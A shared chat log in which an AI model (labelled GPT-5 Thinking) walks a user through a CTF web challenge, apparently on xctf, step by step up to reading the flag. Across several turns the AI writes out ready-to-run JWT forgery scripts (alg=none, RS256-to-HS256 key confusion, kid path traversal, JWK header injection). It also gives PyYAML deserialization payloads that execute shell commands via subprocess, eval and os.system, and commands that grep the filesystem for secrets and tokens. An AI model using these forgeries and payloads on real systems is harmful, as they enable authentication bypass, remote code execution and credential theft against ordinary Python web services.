请帮我解决一道ctf web题,是一个python yaml反序列化题目,目前的思路是,用yaml利...

创建于:2025年9月8日

使用 GPT-5 Thinking 回答 Chat01

问题

请帮我解决一道ctf web题,是一个python yaml反序列化题目,目前的思路是,用yaml利用python标签执行代码,需要伪造token,环境有一个上传文件的点,上传之后可以执行,这是靶机页面的源代码:

<!DOCTYPE html> <html> <head> <title>Vault</title> <style> body { font-family: "Segoe UI", sans-serif; background-color: #f4f4f4; padding: 40px; text-align: center; } #user-info { margin-bottom: 40px; font-weight: bold; font-size: 18px; color: #333; } #sandbox-container { margin-top: 30px; } select, input, button { font-size: 16px; margin: 10px; padding: 8px; border-radius: 6px; border: 1px solid #ccc; } #result { background: #222; color: #0f0; padding: 15px; width: 80%; margin: 20px auto; white-space: pre-wrap; border-radius: 8px; text-align: left; } button { background-color: #4CAF50; color: white; border: none; cursor: pointer; } button:hover { background-color: #45a049; } input[type="file"] { display: block; margin: 10px auto; } </style> </head> <body> <div id="user-info">Loading user info...</div> <div id="sandbox-container"> <select id="mode"> <option value="yaml" selected>YAML</option> <option value="python">Python</option> </select> <br> <input type="file" id="codefile"> <br> <button onclick="runCode()">▶ Execute from File</button> <pre id="result">Waiting for output...</pre> </div> <script> let token = ""; fetch("/auth") .then(res => res.json()) .then(data => { token = data.token; const payload = JSON.parse(atob(token.split('.')[1])); document.getElementById("user-info").innerHTML = "<span style='color:#444'>👤 " + payload.username + "</span> | " + "<span style='color:#4CAF50'>Role: " + payload.role + "</span>"; });
text
function runCode() { const fileInput = document.getElementById('codefile'); const mode = document.getElementById("mode").value; if (fileInput.files.length === 0) { document.getElementById("result").textContent = '{"error": "Please select a file to upload."}'; return; } const file = fileInput.files[0]; const formData = new FormData(); formData.append('codefile', file); formData.append('mode', mode); fetch("/sandbox", { method: "POST", headers: { "Authorization": "Bearer " + token }, body: formData }) .then(res => res.json()) .then(data => { document.getElementById("result").textContent = JSON.stringify(data, null, 2); }); } </script>
</body> </html>请尝试解决

思考

Guiding through CTF setup

I'll provide steps within the CTF scope and keep it educational, avoiding broader applications to real systems. We'll focus on analyzing the HTML and backend behavior around /auth and /sandbox. The JWT token might help us explore attack surfaces like investigating algorithms, checking for weak encryption possibilities, and testing header manipulations.

Exploring CTF attack options

I’m thinking about potential paths for this challenge, like JWK injection using “jku” or “x5u” pointing to a controlled server. Another approach involves exploiting the JWT, possibly by manipulating roles for sandbox access. I also wonder if YAML code execution could work by exploiting dangerous deserialization. It's all about finding weak spots.

Planning the exploit

I need to break down the approach: First, explore the /auth endpoint to get the JWT, decode it, and check if it's using the "none" algorithm or base64 decode. If HS256 is used, maybe explore YAML deserialization for exfiltrating the signing secret. I'll focus on exploiting YAML deserialization for code execution. We'll need a crafted payload and consider if token forging is necessary for sandbox access.

Formulating a strategy

It seems like the challenge involves forging a token because /sandbox may require an "admin" role for full access. The HTML shows both "JSON" and "YAML" modes, but possibly only admins can execute "python" mode. The plan is: 1) Get the token, decode for user and role. 2) Try escalating the role through token forging. 3) Explore token forging with "alg=none".

Thought for 1m 15s

回答

下面给你一条清晰可执行的“攻防流程”(只用于 CTF 靶机/教学场景),把你现有的信息(YAML 反序列化 + 需要伪造 token + 上传后可执行)串起来——目标是拿到执行权限与提权到 admin 角色,最终从沙箱里读出敏感文件/flag。


总览(攻击链)

  1. 先打 /sandboxYAML 反序列化 看能否直接 RCE:
    • 如果普通用户的 YAML 会用 yaml.load/FullLoader → 你直接有 RCE,先读取签名密钥或源码,再伪造 admin JWT 拿到更高能力(或切换成 python 模式)。
    • 如果普通用户只用 safe_load(不执行 !!python 标签)→ 你先伪造 admin JWT,再用 admin 身份上传 YAML 走 RCE。
  2. 常见 JWT 伪造 路径(优先级从容易到复杂):
    • alg=none 绕过
    • RS256/HS256 混淆(拿到服务端 RSA 公钥,用它当 HS256 的 HMAC“密钥”来签)
    • kid 路径穿越/空钥签名
    • JWK 头注入jwk/jku/x5u 信任 header 的情况)

下面把每一步的操作与 PoC 给全。


A. 抓现有 JWT 并解码

前端会 GET /auth,把 token 存在全局变量。你本地直接拿:

bash
curl -s http://<TARGET>/auth | jq -r .token

解码 header/payload(别验证签名,先看字段):

bash
python3 - << 'PY' import sys, json, base64 t = sys.stdin.read().strip() h,p,_ = t.split('.') db64 = lambda s: base64.urlsafe_b64decode(s + '===') print('Header:', json.loads(db64(h))) print('Payload:', json.loads(db64(p))) PY

重点看:

  • alg:HS256 / RS256 / 还是 none?
  • 是否有 kidjkux5ujwk 之类 header
  • payload 里是否有 roleexp 等字段

B. 四种 JWT 伪造打法

所有 payload 仅用于 CTF 靶机。

B1) alg=none(最省事)

如果服务端错误地允许 none

python
# produce_none_jwt.py import json, base64 def b64(x): return base64.urlsafe_b64encode(json.dumps(x, separators=(',',':')).encode()).rstrip(b'=').decode() header = {"typ":"JWT","alg":"none"} payload = {"username":"admin","role":"admin"} # 按你观察到的字段来改 token = f"{b64(header)}.{b64(payload)}." print(token)

拿到 token 后直接:

bash
curl -H "Authorization: Bearer <NONE_TOKEN>" http://<TARGET>/sandbox -F mode=yaml -F codefile=@pwn.yaml

B2) RS256 → HS256“钥混淆”

如果 header 显示 algRS256,服务端也许错误配置地同时接受 HS256
思路:想办法拿到 RSA 公钥(比如 /public.pem/.well-known/jwks.json/jwks.json/static/public.pem 等路径,或源码里泄露),把它当成 HS256 的“secret”。

python
# rs256_to_hs256.py import jwt, json pubkey_pem = open('public.pem','rb').read() # 你前面枚举下载到的公钥 payload = {"username":"admin","role":"admin"} # 关键:用 HS256,并把“公钥内容”直接作为 HMAC 的 secret token = jwt.encode(payload, pubkey_pem, algorithm="HS256") print(token)

B3) kid 路径穿越 / 空密钥

如果 header 里有 kid 并且服务端会按 kid 去文件系统找 secret:

  • 尝试把 kid 设为 ../../../../dev/null(或不存在文件),这样 secret 为空;再用空字符串签一个 HS256:
python
# kid_devnull.py import jwt headers = {"alg":"HS256","kid":"../../../../dev/null"} payload = {"username":"admin","role":"admin"} token = jwt.encode(payload, b"", algorithm="HS256", headers=headers) # 空 secret print(token)

也可试 /proc/self/environ/etc/hostname 等“可读取但不可控”的文件——有的出题人把 secret 就是读文件的内容,那就用读到的字节当 secret 重签即可。

B4) JWK 头注入(jwk/jku/x5u

有的库会信任 header 提供的公钥来验签。
思路:在 header 里塞入你的 JWK,并且自己用私钥RS256

python
# jwk_injection.py import jwt, json from Crypto.PublicKey import RSA from jwt.algorithms import RSAAlgorithm key = RSA.generate(2048) priv_pem = key.export_key() pub_pem = key.publickey().export_key() jwk = json.loads(RSAAlgorithm.to_jwk(key.publickey())) headers = {"alg":"RS256","jwk": jwk} payload = {"username":"admin","role":"admin"} token = jwt.encode(payload, priv_pem, algorithm="RS256", headers=headers) print(token)

如果是 jku/x5u,你需要可控 URL(放一份 JWKS/x509 给它拉)。CTF 通常会把请求限制在内网/本机,也可能不出网,这个看题目环境。


C. YAML 反序列化 RCE(两种思路)

你页面里有 mode=yaml/python 的切换。常见做法是:只有 admin 才能 FullLoader / yaml.load 或启用 python 模式。
所以:

  • 能直接 RCE:先读签名密钥/源码再伪造 JWT;
  • 不能直接 RCE:先伪造 JWT → 用 admin 再传 YAML 执行。

以下是稳定好用的 YAML payload(任选):

C1) subprocess.check_output(最稳,能拿回显)

pwn.yaml

yaml
!!python/object/apply:subprocess.check_output - ["/bin/sh", "-c", "id; uname -a; ls -la; env | sort"]

C2) builtins.eval 包 base64 回显(避免编码问题)

yaml
!!python/object/apply:builtins.eval - "__import__('base64').b64encode(__import__('subprocess').check_output(['/bin/sh','-lc','id; uname -a; ls -la; env | sort'])).decode()"

拿到响应后把 data 做 base64 解码即是命令输出。

C3) 写文件/读文件(若回显不好用)

写个标记文件:

yaml
!!python/object/apply:os.system ["sh -lc 'echo PWNED > /tmp/ok'"]

然后再用一个能回显的 payload 去 cat /tmp/ok


D. 实际请求示例

D1) 上传 YAML 执行

bash
TOKEN='<你的伪造或原始 JWT>' curl -s -H "Authorization: Bearer $TOKEN" \ -F "mode=yaml" \ -F "[email protected]" \ http://<TARGET>/sandbox | jq .

如果返回是 JSON,把其中的字段(通常叫 output / result / 反序列化后的值)看一下。
若你用了 C2 的 base64 回显,记得解码。

D2) 先读签名密钥再提权

如果你已经能 RCE,优先查找秘钥/源码/环境变量:

yaml
!!python/object/apply:subprocess.check_output - ["/bin/sh","-lc","(ls -la / | cat) 2>/dev/null; (ls -la /app | cat) 2>/dev/null; (grep -R --binary-files=without-match -nE 'SECRET|JWT|KEY|TOKEN' / 2>/dev/null | head -n 100)"]

常见位置:

  • 环境变量:envJWT_SECRET / SECRET_KEY
  • 文件:/app/secret.key/app/config.py.envsettings.py
  • 源码:/app/*.py/srv/app/*.py

拿到秘钥后,用 HS256/RS256 正常签一个 role=admin 的 token(注意把 exp 设未来):

python
# sign_admin.py import jwt, datetime as dt secret = b"YOUR_SECRET" # 或加载私钥 payload = {"username":"admin","role":"admin","exp": dt.datetime.utcnow()+dt.timedelta(hours=3)} print(jwt.encode(payload, secret, algorithm="HS256"))

然后再用新 token 跑 mode=python 或更危险操作(CTF 环境 OK)。


E. 额外枚举与排错要点

  • 看看后端是否只让 admin 才能选择 python/yaml full。如果你前端能选,但后端拒绝,很可能是服务端根据 JWT 里的 role 做判断。
  • alg=none 不行,一定去找公钥/jwks.jsonpublic.pemkid 行为;CTF web JWT 题 8/10 都在这四类。
  • 回显乱码/二进制 → 用 C2 的 base64 包装。
  • 如果 /sandbox 对返回值包装为 json.dumps(obj)subprocess.check_output 会给你字节串(可能带 \n),照样会被序列化成字符串展示。

一把梭(你可以直接照做的命令流)

  1. 解码现有 token 看 alg/role
bash
T=$(curl -s http://<TARGET>/auth | jq -r .token) python3 - << 'PY' <<< "$T" import sys, json, base64 t=sys.stdin.read().strip(); h,p,_=t.split('.'); f=lambda s: base64.urlsafe_b64decode(s+'===') print(json.loads(f(h))); print(json.loads(f(p))) PY
  1. 先试 alg=none 伪造 role=admin(不成就跳下一步):
bash
python3 produce_none_jwt.py > token.txt
  1. 枚举公钥与 kid:
    (在靶机页面或字典爆破下)尝试访问:/public.pem/.well-known/jwks.json/jwks.json/static/public.pem/keys/jwks.json
    若拿到公钥,走 B2;若发现 kid 生效,走 B3;若 jwk/jku/x5u 存在,走 B4。

  2. 构造 pwn.yaml

yaml
!!python/object/apply:subprocess.check_output - ["/bin/sh", "-c", "id; uname -a; ls -la; env | sort"]
  1. 上传执行:
bash
curl -s -H "Authorization: Bearer $(cat token.txt)" \ -F "mode=yaml" -F "[email protected]" \ http://<TARGET>/sandbox | jq .
  1. 若有回显,继续用命令把秘钥/flag 读出来;若回显不稳,改用 base64 版 payload(C2)。

如果你愿意,把你拿到的 JWT header/payload(去掉敏感信息)、/sandbox 的返回结构(字段名),以及你试过的 alg/kid 行为贴过来,我可以据此把脚本改成“一把过”的版本(比如自动探测哪种伪造有效、自动生成 admin token、自动打 YAML 并解析回显)。

问题

我现在已经成功伪造token,我尝试上传了一个index.html,yaml和python两种模式都上传了请求包和数据包如下:POST http://web-6933e7db16.challenge.xctf.org.cn/sandbox HTTP/1.1
Host: web-6933e7db16.challenge.xctf.org.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0
Accept: /
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://web-6933e7db16.challenge.xctf.org.cn/
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIn0.-Ws9e4GwaL0hesqjmSuOKNmyximBStder-7VnXK0w70
Content-Type: multipart/form-data; boundary=----geckoformboundary34f22b1c0517826c49b08ceadaf0ca04
Content-Length: 990
Origin: http://web-6933e7db16.challenge.xctf.org.cn
Connection: keep-alive
Priority: u=0

------geckoformboundary34f22b1c0517826c49b08ceadaf0ca04
Content-Disposition: form-data; name="codefile"; filename="index.html"
Content-Type: text/html

<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title> </head> <body> <ul> <li><a href="" class="link">Images</a></li> <li><a href="" class="link">Videos</a></li> <li><a href="" class="link">Academic</a></li> <li><a href="" class="link">Dict</a></li> <li><a href="" class="link">Maps</a></li> </ul>
text
<div class="search"> <div class="logo">Logo</div> <input type="text"> </div>
<pre>"><script>alert(1)</script><!--</pre> </body> </html> ------geckoformboundary34f22b1c0517826c49b08ceadaf0ca04 Content-Disposition: form-data; name="mode"

yaml
------geckoformboundary34f22b1c0517826c49b08ceadaf0ca04--
返回HTTP/1.1 200 OK
Connection: close
Content-Length: 603
Content-Type: application/json
Date: Mon, 08 Sep 2025 08:18:35 GMT
Server: TinyFat/0.99.75

{"result":"<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title> </head> <body> <ul> <li><a href="" class="link">Images</a></li> <li><a href="" class="link">Videos</a></li> <li><a href="" class="link">Academic</a></li> <li><a href="" class="link">Dict</a></li> <li><a href="" class="link">Maps</a></li> </ul>\n<div class="search"> <div class="logo">Logo</div> <input type="text"> </div>\n<pre>"><script>alert(1)</script><!--</pre>\n\n\n\n\n\n\n\n</body> </html>"}
请求:POST http://web-6933e7db16.challenge.xctf.org.cn/sandbox HTTP/1.1
Host: web-6933e7db16.challenge.xctf.org.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0
Accept: /
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://web-6933e7db16.challenge.xctf.org.cn/
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIn0.-Ws9e4GwaL0hesqjmSuOKNmyximBStder-7VnXK0w70
Content-Type: multipart/form-data; boundary=----geckoformboundary96e29a6f063a5cfc6fa038dbf8437ecc
Content-Length: 992
Origin: http://web-6933e7db16.challenge.xctf.org.cn
Connection: keep-alive
Priority: u=0

------geckoformboundary96e29a6f063a5cfc6fa038dbf8437ecc
Content-Disposition: form-data; name="codefile"; filename="index.html"
Content-Type: text/html

<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title> </head> <body> <ul> <li><a href="" class="link">Images</a></li> <li><a href="" class="link">Videos</a></li> <li><a href="" class="link">Academic</a></li> <li><a href="" class="link">Dict</a></li> <li><a href="" class="link">Maps</a></li> </ul>
text
<div class="search"> <div class="logo">Logo</div> <input type="text"> </div>
<pre>"><script>alert(1)</script><!--</pre> </body> </html> ------geckoformboundary96e29a6f063a5cfc6fa038dbf8437ecc Content-Disposition: form-data; name="mode"

python
------geckoformboundary96e29a6f063a5cfc6fa038dbf8437ecc--
返回HTTP/1.1 400 BAD REQUEST
Connection: close
Content-Length: 39
Content-Type: application/json
Date: Mon, 08 Sep 2025 08:22:26 GMT
Server: TinyFat/0.99.75

{"error":"forbidden keyword detected"}
请分析尝试解决该题目拿到flag

思考

Analyzing CTF web challenge

It looks like the YAML mode success means the backend is parsing the uploaded file using a YAML loader, returning HTML as a string. If the content isn’t valid YAML, it seems to return the raw HTML. Since there's no python tag, no execution happens, just parsing, which makes sense with how YAML safe_load works.

Investigating Python mode restriction

The "forbidden keyword detected" message likely comes from Python execution being blocked by a blacklist, such as keywords like “import” or “os”. The HTML was flagged due to the “<script>” tag, which might trigger the filter. The goal is to use YAML deserialization with Python tags after gaining admin access.

Crafting YAML payload

It seems the "forbidden keyword" filter only applies in Python mode, but YAML mode might still have its own filter. They previously got a 200 response with HTML in YAML mode. Since the user has admin privileges, this might allow unsafe loaders to execute code. I need to craft the right YAML payload.

Crafting YAML payload for flag access

The server likely checks the "Authorization" token, role, and "mode" to determine whether to use a safe or unsafe YAML loader. Since the user is admin, we can try using !!python/object/apply to run a command. I’ll suggest crafting a YAML payload to read the flag from common paths like /flag or /home/ctf/flag. We'll also encode it in base64 to avoid binary issues.

Crafting flag-reading payloads

We can create a YAML payload that attempts to read potential flag files using !!python/object/apply:subprocess.check_output. Since YAML mode doesn’t block "script" or "import" terms like Python mode does, we can also base64-encode output if needed. We can use variations of eval and str to ensure a workable JSON response. Let's guide the user to upload the crafted read_flag.yaml, making sure to avoid triggering Python filters.

Thought for 1m 45s

回答

太好了,你已经能伪造 admin 的 JWT!从你发的流量看:

  • mode=yaml 上传 HTML 时,后端只是把 YAML 解析结果(就是整段字符串)原样塞进 {"result": "...html..."} 返回——说明 YAML 路径确实会把解析出的对象作为结果返回
  • mode=python 则命中“forbidden keyword detected”,说明 Python 路径有黑名单(你 HTML 里含有 script 也会触发)。

所以正确打法就是:继续走 YAML,不走 python,直接利用 PyYAML 的不安全构造器执行命令并把结果转成普通字符串返回(否则 bytes 不能 JSON 序列化)。

下面给你三份一步到位的 payload(任选其一)。建议把文件命名为 read_flag.yaml(或 .yml),并用你已经伪造好的 admin Bearer 发到 mode=yaml


方案 A(最稳妥):check_output + str(..., 'utf-8')(无二进制、直接可读)

read_flag.yaml

yaml
!!python/object/apply:builtins.str - !!python/object/apply:subprocess.check_output - ["/bin/sh","-lc","for p in /flag /flag.txt /app/flag /home/ctf/flag /home/*/flag* /var/www/html/flag*; do [ -r \"$p\" ] && cat \"$p\" && exit 0; done; ls -la / /app /home /var/www || true"] - utf-8

请求:

bash
curl -s 'http://web-6933e7db16.challenge.xctf.org.cn/sandbox' \ -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIn0.-Ws9e4GwaL0hesqjmSuOKNmyximBStder-7VnXK0w70' \ -F 'mode=yaml' \ -F 'codefile=@read_flag.yaml'

期望返回:

json
{"result":"flag{...或者目录列表...}"}

方案 B:base64 回显(适合输出里含特殊字符/ANSI)

read_flag_b64.yaml

yaml
!!python/object/apply:builtins.eval - "__import__('base64').b64encode(__import__('subprocess').check_output(['/bin/sh','-lc','for p in /flag /flag.txt /app/flag /home/ctf/flag /home/*/flag* /var/www/html/flag*; do [ -r \"$p\" ] && cat \"$p\" && exit 0; done; ls -la / /app /home /var/www || true'])).decode()"

发完后把 result 做一次 base64 解码就是原始输出:

bash
jq -r .result | base64 -d

方案 C:先探测环境再手动读(方便你定位 flag 路径)

probe.yaml

yaml
!!python/object/apply:builtins.str - !!python/object/apply:subprocess.check_output - ["/bin/sh","-lc","id; uname -a; printf '\\n=== ENV ===\\n'; env | sort; printf '\\n=== FS ===\\n'; ls -la / /app /home /var/www 2>&1"] - utf-8

拿到目录后,再用方案 A/B 改成确定的 cat /具体路径


常见坑位与应对

  • 必须用 YAML 的“危险标签”!!python/object/apply 等)。如果后端用的是 yaml.safe_load 就不会执行;但这题是“python yaml 反序列化题”,且你已经是 admin,按出题常规会走 yaml.load/UnsafeLoader,所以上述 payload 能跑。
  • 返回值必须是“可 JSON 序列化的字符串”subprocess.check_output 直接返回 bytesjson.dumps 会报错;所以我们外面套了 builtins.str(..., 'utf-8') 或者用 base64
  • mode=python 黑名单很严(你刚才的 <script> 直接触发了),因此不要走 python 路径。
  • 如果服务端对扩展名/Content-Type 有校验,建议:文件扩展名用 .yaml/.ymlContent-Typeapplication/x-yamlcurl -F 会自动带,但不强制)。

一键把 flag 打出来的最简命令(拷贝即用)

bash
cat > read_flag.yaml <<'Y' !!python/object/apply:builtins.str - !!python/object/apply:subprocess.check_output - ["/bin/sh","-lc","for p in /flag /flag.txt /app/flag /home/ctf/flag /home/*/flag* /var/www/html/flag*; do [ -r \"$p\" ] && cat \"$p\" && exit 0; done; ls -la / /app /home /var/www || true"] - utf-8 Y curl -s 'http://web-6933e7db16.challenge.xctf.org.cn/sandbox' \ -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIn0.-Ws9e4GwaL0hesqjmSuOKNmyximBStder-7VnXK0w70' \ -F 'mode=yaml' \ -F 'codefile=@read_flag.yaml' | jq -r .result

如果输出里没有 flag,就把命令中的 for p in ... 那一串路径再加几个你探测到的候选路径(例如 /usr/src/app/flag/work/flag 等),或先贴我一次 probe.yaml 的结果,我帮你定点路径。

问题

用payload:!!python/object/apply:builtins.str

  • !!python/object/apply:subprocess.check_output
    • ["/bin/sh","-lc","for p in /flag /flag.txt /app/flag /home/ctf/flag /home//flag /var/www/html/flag*; do [ -r "p\" ] && cat \"p" && exit 0; done; ls -la / /app /home /var/www || true"]
  • utf-8返回{"result":"/:\ntotal 4\ndrwxr-xr-x 1 root root 32 Sep 8 08:16 .\ndrwxr-xr-x 1 root root 32 Sep 8 08:16 ..\n-rwxr-xr-x 1 root root 0 Sep 8 08:16 .dockerenv\ndrwxr-xr-x 1 root root 20 Aug 6 10:06 app\nlrwxrwxrwx 1 root root 7 Jul 21 00:00 bin -> usr/bin\ndrwxr-xr-x 2 root root 6 May 9 14:50 boot\ndrwxr-xr-x 5 root root 360 Sep 8 08:16 dev\ndrwxr-xr-x 1 root root 66 Sep 8 08:16 etc\n-rw-r--r-- 1 root root 39 Sep 8 08:16 f1111ag\ndrwxr-xr-x 2 root root 6 May 9 14:50 home\nlrwxrwxrwx 1 root root 7 Jul 21 00:00 lib -> usr/lib\nlrwxrwxrwx 1 root root 9 Jul 21 00:00 lib64 -> usr/lib64\ndrwxr-xr-x 2 root root 6 Jul 21 00:00 media\ndrwxr-xr-x 2 root root 6 Jul 21 00:00 mnt\ndrwxr-xr-x 2 root root 6 Jul 21 00:00 opt\ndr-xr-xr-x 1358 root root 0 Sep 8 08:16 proc\ndrwx------ 1 root root 47 Jul 22 01:38 root\ndrwxr-xr-x 3 root root 18 Jul 21 00:00 run\nlrwxrwxrwx 1 root root 8 Jul 21 00:00 sbin -> usr/sbin\ndrwxr-xr-x 2 root root 6 Jul 21 00:00 srv\ndr-xr-xr-x 13 root root 0 Sep 8 08:16 sys\ndrwxrwxrwt 1 root root 6 Aug 6 10:06 tmp\ndrwxr-xr-x 1 root root 30 Jul 21 00:00 usr\ndrwxr-xr-x 1 root root 41 Jul 21 00:00 var\n\n/app:\ntotal 8\ndrwxr-xr-x 1 root root 20 Aug 6 10:06 .\ndrwxr-xr-x 1 root root 32 Sep 8 08:16 ..\n-rw-r--r-- 1 root root 5641 Aug 6 09:52 app.py\n\n/home:\ntotal 0\ndrwxr-xr-x 2 root root 6 May 9 14:50 .\ndrwxr-xr-x 1 root root 32 Sep 8 08:16 ..\n"}

思考

Thought for 21s

回答

干得漂亮!目录里已经“露馅”了:根目录有个可读文件 /f1111ag(-rw-r--r--,39 字节)。直接把它 cat 出来就行。

下面给你两个稳妥 payload,继续走 mode=yaml

方案 1:直接回显(最简)

read_flag.yaml

yaml
!!python/object/apply:builtins.str - !!python/object/apply:subprocess.check_output - ["/bin/sh","-lc","cat /f1111ag"] - utf-8

请求:

bash
curl -s 'http://web-6933e7db16.challenge.xctf.org.cn/sandbox' \ -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIn0.-Ws9e4GwaL0hesqjmSuOKNmyximBStder-7VnXK0w70' \ -F 'mode=yaml' \ -F 'codefile=@read_flag.yaml'

看返回里的 "result" 就是 flag。

方案 2:base64 回显(万一有不可见字符)

read_flag_b64.yaml

yaml
!!python/object/apply:builtins.eval - "__import__('base64').b64encode(__import__('subprocess').check_output(['/bin/sh','-lc','cat /f1111ag'])).decode()"

发完后:

bash
jq -r .result | base64 -d

补充:你也可以顺手把后端源码拉出来看看(可选)

yaml
!!python/object/apply:builtins.str - !!python/object/apply:subprocess.check_output - ["/bin/sh","-lc","sed -n '1,200p' /app/app.py"] - utf-8

按上面跑,flag 就到手了。需要我替你把返回内容解析下也可以把原样粘过来。

分享这个问答